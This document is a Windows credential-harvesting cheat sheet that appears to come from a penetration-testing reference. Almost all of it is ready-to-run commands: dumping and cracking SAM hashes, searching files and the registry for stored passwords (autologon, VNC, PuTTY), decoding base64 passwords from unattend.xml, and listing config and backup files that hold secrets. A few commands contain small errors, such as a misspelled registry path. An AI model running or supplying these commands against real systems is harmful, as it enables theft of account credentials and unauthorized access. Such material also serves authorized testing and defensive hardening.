**SAM and SYSTEM files**

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

# Usually %SYSTEMROOT% = C:\Windows

%SYSTEMROOT%\repair\SAM

%SYSTEMROOT%\System32\config\RegBack\SAM

%SYSTEMROOT%\System32\config\SAM

%SYSTEMROOT%\repair\system

%SYSTEMROOT%\System32\config\SYSTEM

%SYSTEMROOT%\System32\config\RegBack\system

Generate a hash file for John using pwdump or samdump2.

pwdump SYSTEM SAM > /root/sam.txt

samdump2 SYSTEM SAM -o sam.txt

Then crack it with john -format=NT /root/sam.txt.

**Search for file contents**

cd C:\ & findstr /SI /M "password" \*.xml \*.ini \*.txt

findstr /si password \*.xml \*.ini \*.txt \*.config

findstr /spin "password" \*.\*

**Search for a file with a certain filename**

dir /S /B \*pass\*.txt == \*pass\*.xml == \*pass\*.ini == \*cred\* == \*vnc\* == \*.config\*

where /R C:\ user.txt

where /R C:\ \*.ini

**Search the registry for key names and passwords**

REG QUERY HKLM /F "password" /t REG\_SZ /S /K

REG QUERY HKCU /F "password" /t REG\_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials

reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials

reg query HKEY\_LOCAL\_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG\_SZ /s

reg query HKCU /f password /t REG\_SZ /s

**Read a value of a certain sub key**

REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList

**Passwords in unattend.xml**

Location of the unattend.xml files.

C:\unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\system32\sysprep.inf

C:\Windows\system32\sysprep\sysprep.xml

Display the content of these files with dir /s \*sysprep.inf \*sysprep.xml \*unattended.xml \*unattend.xml \*unattend.txt 2>nul.

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">

<AutoLogon>

<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>

<Enabled>true</Enabled>

<Username>Administrateur</Username>

</AutoLogon>

<UserAccounts>

<LocalAccounts>

<LocalAccount wcm:action="add">

<Password>\*SENSITIVE\*DATA\*DELETED\*</Password>

<Group>administrators;users</Group>

<Name>Administrateur</Name>

</LocalAccount>

</LocalAccounts>

</UserAccounts>

Unattend credentials are stored in base64 and can be decoded manually with base64.

$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d

SecretSecurePassword1234\*

The Metasploit module post/windows/gather/enum\_unattend looks for these files.

**IIS Web config**

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

C:\inetpub\wwwroot\web.config

**Other files**

%SYSTEMDRIVE%\pagefile.sys

%WINDIR%\debug\NetSetup.log

%WINDIR%\repair\sam

%WINDIR%\repair\system

%WINDIR%\repair\software, %WINDIR%\repair\security

%WINDIR%\iis6.log

%WINDIR%\system32\config\AppEvent.Evt

%WINDIR%\system32\config\SecEvent.Evt

%WINDIR%\system32\config\default.sav

%WINDIR%\system32\config\security.sav

%WINDIR%\system32\config\software.sav

%WINDIR%\system32\config\system.sav

%WINDIR%\system32\CCM\logs\\*.log

%USERPROFILE%\ntuser.dat

%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

%WINDIR%\System32\drivers\etc\hosts

C:\ProgramData\Configs\\*

C:\Program Files\Windows PowerShell\\*

dir c:\*vnc.ini /s /b

dir c:\*ultravnc.ini /s /b